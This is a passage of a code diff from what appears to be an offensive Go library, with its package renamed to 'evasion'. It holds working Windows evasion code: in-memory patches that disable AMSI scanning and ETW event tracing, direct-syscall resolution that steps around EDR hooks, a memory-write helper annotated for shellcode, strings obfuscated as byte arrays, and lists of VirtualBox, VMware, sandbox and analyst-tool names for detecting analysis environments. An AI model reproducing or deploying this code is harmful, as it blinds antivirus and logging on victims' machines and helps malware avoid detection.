return err
}
r, _ := Syscall(
sysId,
uintptr(pHandle),
uintptr(addr),
uintptr(unsafe.Pointer(&regionsize)),
uintptr(newProtect),
uintptr(oldProtect),
)
if r != 0 {
return errors.New("NtProtectVirtualMemory syscall returned non-zero error code")
}
return nil
}
// err := WriteProcessMemory(pHandle, addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
func WriteProcessMemory(pHandle uintptr, addr uintptr, buffer uintptr, buffer_len uintptr) error {
// Get syscall
sysId, err := GetSysId("NtWriteVirtualMemory")
if err != nil {
return err
}
var num_bytes uint32
r, err := Syscall(
sysId,
uintptr(pHandle),
uintptr(addr),
uintptr(buffer),
uintptr(buffer_len),
uintptr(unsafe.Pointer(&num_bytes)),
)
if (r != 0) || (err != nil) {
return errors.New("NtWriteVirtualMemory syscall returned non-zero error code")
}
return nil
}
+2 -2
View File
@@ -1,4 +1,4 @@
package core
package evasion
import (
"errors"
@@ -27,7 +27,7 @@ type PROCESS_MITIGATION_DYNAMIC_CODE_POLICY struct {
}
func EnableACG() error {
kernel32 := windows.NewLazyDLL("kernel32.dll")
kernel32 := windows.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
SetProcessMitigationPolicy := kernel32.NewProc("SetProcessMitigationPolicy")
var ProcessDynamicCodePolicy int32 = 2
+88
View File
@@ -0,0 +1,88 @@
package evasion
import (
"golang.org/x/sys/windows"
"unsafe"
)
var amsi_patch = []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1}
func PatchAmsi() error {
AmsiScanBuffer := windows.NewLazyDLL("ntdll.dll").NewProc("AmsiScanBuffer")
ntdll := windows.NewLazyDLL("ntdll.dll")
NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory")
NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
baseAddress := AmsiScanBuffer.Addr()
numberOfBytesToProtect := uintptr(len(amsi_patch))
var oldProtect uintptr
r1, _, err := NtProtectVirtualMemory.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&baseAddress)), uintptr(unsafe.Pointer(&numberOfBytesToProtect)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
if r1 != 0 {
return err
}
NtWriteVirtualMemory.Call(uintptr(0xffffffffffffffff), AmsiScanBuffer.Addr(), uintptr(unsafe.Pointer(&amsi_patch[0])), unsafe.Sizeof(amsi_patch), 0)
r2, _, err := NtProtectVirtualMemory.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&baseAddress)), uintptr(unsafe.Pointer(&numberOfBytesToProtect)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect)))
if r2 != 0 {
return err
}
return nil
}
func PatchAmsi2() error {
kernel32 := windows.NewLazyDLL("kernel32.dll")
//OpenProcess := kernel32.NewProc("OpenProcess")
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
ntdll := windows.NewLazyDLL("ntdll.dll")
NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory")
amsi := windows.NewLazyDLL("amsi.dll")
AmsiOpenSession := amsi.NewProc("Am" + "siOp" + "enS" + "essi" + "on")
patch := []byte{0x75}
var oldProtect uint32
var memPage uintptr = 0x1000
pHandle, _, _ := GetCurrentProcess.Call()
// this can be modified to allow remote process AMSI patching
//pHandle, _, _ := OpenProcess.Call(windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE, uintptr(0), uintptr(pid))
addr := AmsiOpenSession.Addr()
addr2 := AmsiOpenSession.Addr()
for i := 0; i < 1024; i++ {
if *(*byte)(unsafe.Pointer(addr + uintptr(i))) == 0x74 {
addr = addr + uintptr(1)
break
}
}
r1, _, err := NtProtectVirtualMemory.Call(uintptr(pHandle), uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(&memPage)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
if r1 != 0 {
return err
}
for i := 0; i < 1024; i++ {
if *(*byte)(unsafe.Pointer(addr2 + uintptr(i))) == 0x74 {
addr2 = addr2 + uintptr(1)
break
}
}
var regionsize uintptr
NtWriteVirtualMemory.Call(uintptr(pHandle), addr2, uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)), uintptr(unsafe.Pointer(&regionsize)))
r2, _, err := NtProtectVirtualMemory.Call(uintptr(pHandle), uintptr(unsafe.Pointer(&addr2)), uintptr(unsafe.Pointer(&memPage)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect)))
if r2 != 0 {
return err
}
return nil
}
+120
View File
@@ -0,0 +1,120 @@
package evasion
import (
"fmt"
"golang.org/x/sys/windows"
"unsafe"
"errors"
)
/*
typedef struct _PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY {
union {
DWORD Flags;
struct {
DWORD MicrosoftSignedOnly : 1;
DWORD StoreSignedOnly : 1;
DWORD MitigationOptIn : 1;
DWORD AuditMicrosoftSignedOnly : 1;
DWORD AuditStoreSignedOnly : 1;
DWORD ReservedFlags : 27;
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME;
} PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY, *PPROCESS_MITIGATION_BINARY_SIGNATURE_POLICY;
*/
type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY struct {
Flags uint32
}
// block non Microsoft-signed DLLs to inject in current process
func BlockDLLs() error {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
SetProcessMitigationPolicy := kernel32.NewProc("SetProcessMitigationPolicy")
var ProcessSignaturePolicy uint32 = 8
var sp PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY
// set MicrosoftSignedOnly
sp.Flags = 0x1
ret, _, err := SetProcessMitigationPolicy.Call(
uintptr(ProcessSignaturePolicy),
uintptr(unsafe.Pointer(&sp)),
unsafe.Sizeof(sp),
)
if ret == 0 {
return errors.New(fmt.Sprintf("error: %s\nSetProcessMitigationPolicy returned %x", err, ret))
}
return nil
}
// launch a program (C:\Windows\System32\notepad.exe) with BlockDLLs enabled
func CreateProcessBlockDLLs(cmd string) error {
kernel32 := windows.NewLazyDLL("kernel32.dll")
InitializeProcThreadAttributeList := kernel32.NewProc("InitializeProcThreadAttributeList")
UpdateProcThreadAttribute := kernel32.NewProc("UpdateProcThreadAttribute")
GetProcessHeap := kernel32.NewProc("GetProcessHeap")
HeapAlloc := kernel32.NewProc("HeapAlloc")
HeapFree := kernel32.NewProc("HeapFree")
CreateProcess := kernel32.NewProc("CreateProcessW")
procThreadAttributeSize := uintptr(0)
InitializeProcThreadAttributeList.Call(0, 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))
procHeap, _, err := GetProcessHeap.Call()
if procHeap == 0 {
return err
}
attributeList, _, err := HeapAlloc.Call(procHeap, 0, procThreadAttributeSize)
if attributeList == 0 {
return err
}
defer HeapFree.Call(procHeap, 0, attributeList)
var si StartupInfoEx
si.AttributeList = (*PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
InitializeProcThreadAttributeList.Call(uintptr(unsafe.Pointer(si.AttributeList)), 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))
mitigate := 0x20007
nonms := uintptr(0x100000000000|0x1000000000)
r, _, err := UpdateProcThreadAttribute.Call(uintptr(unsafe.Pointer(si.AttributeList)), 0, uintptr(mitigate), uintptr(unsafe.Pointer(&nonms)), uintptr(unsafe.Sizeof(nonms)), 0, 0)
if r == 0 {
return err
}
commandline, err := windows.UTF16PtrFromString(cmd)
if err != nil {
return err
}
var pi ProcessInformation
si.Cb = uint32(unsafe.Sizeof(si))
flags := windows.EXTENDED_STARTUPINFO_PRESENT
r, _, err = CreateProcess.Call(
0,
uintptr(unsafe.Pointer(commandline)),
0,
0,
1,
uintptr(uint32(flags)),
0,
0,
uintptr(unsafe.Pointer(&si)),
uintptr(unsafe.Pointer(&pi)),
)
if r == 0 {
return err
}
return nil
}
+98
View File
@@ -0,0 +1,98 @@
package evasion
var drivers []string = []string{
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'V', 'B', 'o', 'x', 'M', 'o', 'u', 's', 'e', '.', 's', 'y', 's'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'V', 'B', 'o', 'x', 'G', 'u', 'e', 's', 't', '.', 's', 'y', 's'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'V', 'B', 'o', 'x', 'S', 'F', '.', 's', 'y', 's'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'V', 'B', 'o', 'x', 'V', 'i', 'd', 'e', 'o', '.', 's', 'y', 's'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'd', 'i', 's', 'p', '.', 'd', 'l', 'l'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'h', 'o', 'o', 'k', '.', 'd', 'l', 'l'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'm', 'r', 'x', 'n', 'p', '.', 'd', 'l', 'l'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'o', 'g', 'l', '.', 'd', 'l', 'l'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'o', 'g', 'l', 'a', 'r', 'r', 'a', 'y', 's', 'p', 'u', '.', 'd', 'l', 'l'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 's', 'e', 'r', 'v', 'i', 'c', 'e', '.', 'e', 'x', 'e'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 't', 'r', 'a', 'y', '.', 'e', 'x', 'e'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'V', 'B', 'o', 'x', 'C', 'o', 'n', 't', 'r', 'o', 'l', '.', 'e', 'x', 'e'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'm', 'o', 'u', 's', 'e', '.', 's', 'y', 's'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'h', 'g', 'f', 's', '.', 's', 'y', 's'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'c', 'i', '.', 's', 'y', 's'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'm', 'e', 'm', 'c', 't', 'l', '.', 's', 'y', 's'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'm', 'o', 'u', 's', 'e', '.', 's', 'y', 's'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'r', 'a', 'w', 'd', 's', 'k', '.', 's', 'y', 's'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'u', 's', 'b', 'm', 'o', 'u', 's', 'e', '.', 's', 'y', 's'}),
}
var processes []string = []string{ // Sandbox processes taken from https://github.com/LordNoteworthy/al-khaser
string([]byte{'v', 'b', 'o', 'x', 's', 'e', 'r', 'v', 'i', 'c', 'e', '.', 'e', 'x', 'e'}),
string([]byte{'v', 'b', 'o', 'x', 't', 'r', 'a', 'y', '.', 'e', 'x', 'e'}),
string([]byte{'v', 'm', 't', 'o', 'o', 'l', 's', 'd', '.', 'e', 'x', 'e'}),
string([]byte{'v', 'm', 'w', 'a', 'r', 'e', 't', 'r', 'a', 'y', '.', 'e', 'x', 'e'}),
string([]byte{'v', 'm', 'w', 'a', 'r', 'e', '.', 'e', 'x', 'e'}),
string([]byte{'v', 'm', 'w', 'a', 'r', 'e', '-', 'v', 'm', 'x', '.', 'e', 'x', 'e'}),
string([]byte{'v', 'm', 'w', 'a', 'r', 'e', 'u', 's', 'e', 'r'}),
string([]byte{'V', 'G', 'A', 'u', 't', 'h', 'S', 'e', 'r', 'v', 'i', 'c', 'e', '.', 'e', 'x', 'e'}),
string([]byte{'v', 'm', 'a', 'c', 't', 'h', 'l', 'p', '.', 'e', 'x', 'e'}),
string([]byte{'v', 'm', 's', 'r', 'v', 'c', '.', 'e', 'x', 'e'}),
string([]byte{'v', 'm', 'u', 's', 'r', 'v', 'c', '.', 'e', 'x', 'e'}),
string([]byte{'x', 'e', 'n', 's', 'e', 'r', 'v', 'i', 'c', 'e', '.', 'e', 'x', 'e'}),
string([]byte{'q', 'e', 'm', 'u', '-', 'g', 'a', '.', 'e', 'x', 'e'}),
string([]byte{'w', 'i', 'r', 'e', 's', 'h', 'a', 'r', 'k', '.', 'e', 'x', 'e'}),
string([]byte{'P', 'r', 'o', 'c', 'm', 'o', 'n', '.', 'e', 'x', 'e'}),
string([]byte{'P', 'r', 'o', 'c', 'm', 'o', 'n', '6', '4', '.', 'e', 'x', 'e'}),
string([]byte{'v', 'o', 'l', 'a', 't', 'i', 'l', 'y', '.', 'e', 'x', 'e'}),
string([]byte{'v', 'o', 'l', 'a', 't', 'i', 'l', 'y', '3', '.', 'e', 'x', 'e'}),
string([]byte{'D', 'u', 'm', 'p', 'I', 't', '.', 'e', 'x', 'e'}),
string([]byte{'d', 'u', 'm', 'p', 'i', 't', '.', 'e', 'x', 'e'}),
}
var hostnames_list []string = []string{
string([]byte{'S', 'a', 'n', 'd', 'b', 'o', 'x'}),
string([]byte{'S', 'A', 'N', 'D', 'B', 'O', 'X'}),
string([]byte{'m', 'a', 'l', 'w', 'a', 'r', 'e'}),
string([]byte{'v', 'i', 'r', 'u', 's'}),
string([]byte{'V', 'i', 'r', 'u', 's'}),
string([]byte{'s', 'a', 'm', 'p', 'l', 'e'}),
string([]byte{'d', 'e', 'b', 'u', 'g'}),
string([]byte{'U', 'S', 'E', 'R', '-', 'P', 'C'}),
string([]byte{'a', 'n', 'a', 'l', 'y', 's', 'i', 's'}),
string([]byte{'c', 'u', 'c', 'k', 'o', 'o'}),
string([]byte{'c', 'u', 'c', 'k', 'o', 'o', 'f', 'o', 'r', 'k'}),
string([]byte{'C', 'u', 'c', 'k', 'o', 'o'}),
}
var usernames_list []string = []string{
string([]byte{'s', 'a', 'n', 'd', 'b', 'o', 'x'}),
string([]byte{'v', 'i', 'r', 'u', 's'}),
string([]byte{'m', 'a', 'l', 'w', 'a', 'r', 'e'}),
string([]byte{'d', 'e', 'b', 'u', 'g', '4', 'f', 'u', 'n'}),
string([]byte{'d', 'e', 'b', 'u', 'g'}),
string([]byte{'s', 'y', 's'}),
string([]byte{'u', 's', 'e', 'r', '1'}),
string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l'}),
string([]byte{'v', 'i', 'r', 't', 'u', 'a', 'l'}),
string([]byte{'a', 'n', 'a', 'l', 'y', 'i', 's'}),
string([]byte{'t', 'r', 'a', 'n', 's', '_', 'i', 's', 'o', '_', '0'}),
string([]byte{'j', '.', 'y', 'o', 'r', 'o', 'i'}),
string([]byte{'v', 'e', 'n', 'u', 's', 'e', 'y', 'e'}),
string([]byte{'V', 'e', 'n', 'u', 's', 'E', 'y', 'e'}),
string([]byte{'V', 'i', 'r', 'u', 's', 'T', 'o', 't', 'a', 'l'}),
string([]byte{'v', 'i', 'r', 'u', 's', 't', 'o', 't', 'a', 'l'}),
}
+59
View File
@@ -0,0 +1,59 @@
package evasion
import (
"encoding/hex"
"golang.org/x/sys/windows"
"unsafe"
)
func PatchEtw() error {
ntdll := windows.NewLazyDLL("ntdll.dll")
WriteProcessMemory := windows.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
EtwEventWrite := ntdll.NewProc("EtwEventWrite")
EtwEventWriteEx := ntdll.NewProc("EtwEventWriteEx")
EtwEventWriteFull := ntdll.NewProc("EtwEventWriteFull")
EtwEventWriteString := ntdll.NewProc("EtwEventWriteString")
EtwEventWriteTransfer := ntdll.NewProc("EtwEventWriteTransfer")
addresses := []uintptr{EtwEventWriteFull.Addr(), EtwEventWrite.Addr(), EtwEventWriteEx.Addr(), EtwEventWriteString.Addr(), EtwEventWriteTransfer.Addr()}
for i := range addresses {
data, _ := hex.DecodeString(string([]byte{'4', '8', '3', '3', 'C', '0', 'C', '3'}))
WriteProcessMemory.Call(uintptr(0xffffffffffffffff), uintptr(addresses[i]), uintptr(unsafe.Pointer(&data[0])), uintptr(len(data)), 0)
}
return nil
}
func PatchEtw2() error {
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
NtTraceEvent := ntdll.NewProc("NtTraceEvent")
NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory")
NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
pHandle, _, _ := GetCurrentProcess.Call()
var patch = []byte{0xc3}
var oldProtect uintptr
var addr uintptr = NtTraceEvent.Addr()
regionsize := uintptr(len(patch))
r1, _, err := NtProtectVirtualMemory.Call(pHandle, uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(&regionsize)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
if r1 != 0 {
return err
}
NtWriteVirtualMemory.Call(pHandle, addr, uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)), 0)
r2, _, err := NtProtectVirtualMemory.Call(pHandle, uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(&regionsize)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect)))
if r2 != 0 {
return err
}
return nil
}
+211
View File
@@ -0,0 +1,211 @@
package evasion
import (
"unsafe"
"golang.org/x/sys/windows"
)
type StartupInfoEx struct {
windows.StartupInfo
AttributeList *PROC_THREAD_ATTRIBUTE_LIST
}
type ProcessInformation struct {
Process Handle
Thread Handle
ProcessId uint32
ThreadId uint32
}
type Handle uintptr
type PROC_THREAD_ATTRIBUTE_LIST struct {
dwFlags uint32
size uint64
count uint64
reserved uint64
unknown *uint64
entries []*PROC_THREAD_ATTRIBUTE_ENTRY
}
type PROC_THREAD_ATTRIBUTE_ENTRY struct {
attribute *uint32
cbSize uintptr
lpValue uintptr
}
type ExportDirectory struct {
ExportFlags uint32 // reserved, must be zero
TimeDateStamp uint32
MajorVersion uint16
MinorVersion uint16
NameRVA uint32 // pointer to the name of the DLL
OrdinalBase uint32
NumberOfFunctions uint32
NumberOfNames uint32 // also Ordinal Table Len
AddressTableAddr uint32 // RVA of EAT, relative to image base
NameTableAddr uint32 // RVA of export name pointer table, relative to image base
OrdinalTableAddr uint32 // address of the ordinal table, relative to iamge base
DllName string
}
type Export struct {
Ordinal uint32
Name string
VirtualAddress uint32
Forward string
}
type sstring struct {
Length uint16
MaxLength uint16
PWstr *uint16
}
func (s sstring) String() string {
return windows.UTF16PtrToString(s.PWstr)
}
type IMAGE_OPTIONAL_HEADER struct {
Magic uint16
MajorLinkerVersion uint8
MinorLinkerVersion uint8
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory [16]IMAGE_DATA_DIRECTORY
}
type IMAGE_OPTIONAL_HEADER64 IMAGE_OPTIONAL_HEADER
type IMAGE_OPTIONAL_HEADER32 struct {
Magic uint16
MajorLinkerVersion byte
MinorLinkerVersion byte
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
BaseOfData uint32 // Different from 64 bit header
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory uintptr
}
type IMAGE_DATA_DIRECTORY struct {
VirtualAddress uint32
Size uint32
}
type IMAGE_FILE_HEADER struct {
Machine uint16
NumberOfSections uint16
TimeDateStamp uint32
PointerToSymbolTable uint32
NumberOfSymbols uint32
SizeOfOptionalHeader uint16
Characteristics uint16
}
type IMAGE_NT_HEADER struct {
Signature uint32
FileHeader IMAGE_FILE_HEADER
OptionalHeader IMAGE_OPTIONAL_HEADER
}
type IMAGE_DOS_HEADER struct { // DOS .EXE header
E_magic uint16 // Magic number
E_cblp uint16 // Bytes on last page of file
E_cp uint16 // Pages in file
E_crlc uint16 // Relocations
E_cparhdr uint16 // Size of header in paragraphs
E_minalloc uint16 // Minimum extra paragraphs needed
E_maxalloc uint16 // Maximum extra paragraphs needed
E_ss uint16 // Initial (relative) SS value
E_sp uint16 // Initial SP value
E_csum uint16 // Checksum
E_ip uint16 // Initial IP value
E_cs uint16 // Initial (relative) CS value
E_lfarlc uint16 // File address of relocation table
E_ovno uint16 // Overlay number
E_res [4]uint16 // Reserved words
E_oemid uint16 // OEM identifier (for E_oeminfo)
E_oeminfo uint16 // OEM information; E_oemid specific
E_res2 [10]uint16 // Reserved words
E_lfanew uint16 // File address of new exe header
}
type memStatusEx struct { // Auxiliary struct to retrieve total memory
dwLength uint32
dwMemoryLoad uint32
ullTotalPhys uint64
ullAvailPhys uint64
unused [5]uint64
}
type PTHREAD_BASIC_INFORMATION struct {
exitStatus int32
pTebBaseAddress uintptr
clientId CLIENT_ID
AffinityMask uintptr
Priority int
BasePriority int
v int
}
type SC_SERVICE_TAG_QUERY struct {
processId uint32
serviceTag uint32
reserved uint32
pBuffer unsafe.Pointer
}
type CLIENT_ID struct {
UniqueProcess uintptr
UniqueThread uintptr
}
+19 -45
View File
@@ -1,15 +1,15 @@
package core
package evasion
import (
"errors"
"fmt"
//"fmt"
"strings"
"github.com/Binject/debug/pe"
"github.com/awgh/rawreader"
)
// Return syscall from memory, if it fails it tries to get syscall from disk
// Return syscall from memory, if it fails it tries to get syscall from disk (using halo's gate technique)
func GetSysId(funcname string) (uint16, error) {
var ntdll_pe *pe.File
@@ -38,10 +38,10 @@ func GetSysId(funcname string) (uint16, error) {
}
buff := bBytes[offset : offset+10]
sysId, e := CheckBytes(buff)
sysId, err := CheckBytes(buff)
var hook_err MayBeHookedError
if errors.As(e, &hook_err) {
if errors.As(err, &hook_err) {
// Enter here if function seems to be hooked
start, size := GetNtdllStart()
@@ -52,9 +52,9 @@ func GetSysId(funcname string) (uint16, error) {
if bBytes[i] == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') {
distanceNeighbor++
sysId, e := CheckBytes(bBytes[i+14 : i+14+8]) // Check hook again
if !errors.As(e, &hook_err) { // Return syscall ID if it isn't hooked
return sysId - uint16(distanceNeighbor), e
sysId, err := CheckBytes(bBytes[i+14 : i+14+8]) // Check hook again
if !errors.As(err, &hook_err) { // Return syscall ID if it isn't hooked
return sysId - uint16(distanceNeighbor), err
}
}
}
@@ -65,9 +65,9 @@ func GetSysId(funcname string) (uint16, error) {
if bBytes[i] == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') {
distanceNeighbor++
sysId, e := CheckBytes(bBytes[i+14 : i+14+8])
if !errors.As(e, &hook_err) { // Return syscall ID if it isn't hooked
return sysId + uint16(distanceNeighbor) - 1, e
sysId, err := CheckBytes(bBytes[i+14 : i+14+8])
if !errors.As(err, &hook_err) { // Return syscall ID if it isn't hooked
return sysId + uint16(distanceNeighbor) - 1, err
}
}
}
@@ -81,32 +81,6 @@ func GetSysId(funcname string) (uint16, error) {
return getDiskSysId(funcname)
}
func GetFuncPtr(funcname string) (uint64, error) {
var p *pe.File
var err error
s, si := inMemLoads(string([]byte{'n', 't', 'd', 'l', 'l'}))
rr := rawreader.New(uintptr(s), int(si))
p, err = pe.NewFileFromMemory(rr)
if err != nil {
return 0, err
}
exports, err := p.Exports()
if err != nil {
return 0, err
}
for _, ex := range exports {
if strings.EqualFold(funcname, ex.Name) {
return uint64(uintptr(s)) + uint64(ex.VirtualAddress), nil
}
}
return 0, fmt.Errorf("could not find function: %s", funcname)
}
func getDiskSysId(funcname string) (uint16, error) {
ntdll_path := string(
@@ -135,10 +109,10 @@ func getDiskSysId(funcname string) (uint16, error) {
}
buff := bBytes[offset : offset+10]
sysId, e := CheckBytes(buff)
sysId, err := CheckBytes(buff)
var hook_err MayBeHookedError
if errors.As(e, &hook_err) {
if errors.As(err, &hook_err) {
// Enter here if function seems to be hooked
start, size := GetNtdllStart()
@@ -149,9 +123,9 @@ func getDiskSysId(funcname string) (uint16, error) {
if bBytes[i] == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') {
distanceNeighbor++
sysId, e := CheckBytes(bBytes[i+14 : i+14+8]) // Check hook again
if !errors.As(e, &hook_err) { // Return syscall ID if it isn't hooked
return sysId - uint16(distanceNeighbor), e
sysId, err := CheckBytes(bBytes[i+14 : i+14+8]) // Check hook again
if !errors.As(err, &hook_err) { // Return syscall ID if it isn't hooked
return sysId - uint16(distanceNeighbor), err
}
}
}
@@ -162,9 +136,9 @@ func getDiskSysId(funcname string) (uint16, error) {
if bBytes[i] == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') {
distanceNeighbor++
sysId, e := CheckBytes(bBytes[i+14 : i+14+8])
if !errors.As(e, &hook_err) { // Return syscall ID if it isn't hooked
return sysId + uint16(distanceNeighbor) - 1, e
sysId, err := CheckBytes(bBytes[i+14 : i+14+8])
if !errors.As(err, &hook_err) { // Return syscall ID if it isn't hooked
return sysId + uint16(distanceNeighbor) - 1, err
}
}
}
+37 -5
View File
@@ -1,4 +1,4 @@
package core
package evasion
/*
@@ -11,14 +11,45 @@ import (
"bytes"
"encoding/binary"
"errors"
"golang.org/x/sys/windows"
// Third-party
"github.com/Binject/debug/pe"
"github.com/awgh/rawreader"
)
// Check if hash is a valid function and return its proc
func FuncFromHash(hash string, dll string, hashing_func func(str string) string) (uint16, string, error) {
/*
This file contains various functions that use API hashing to retrieve the pointer to a function or its syscall
*/
// Receive a hash, the full path to DLL and the hashing function used to encode the function, then you use the pointer like GetCurrentProccess.Call()
func GetFuncPtr(hash string, dll string, hashing_function func(str string) string) (*windows.LazyProc, string, error) {
// Open and parse PE file
pe_file, err := pe.Open(dll)
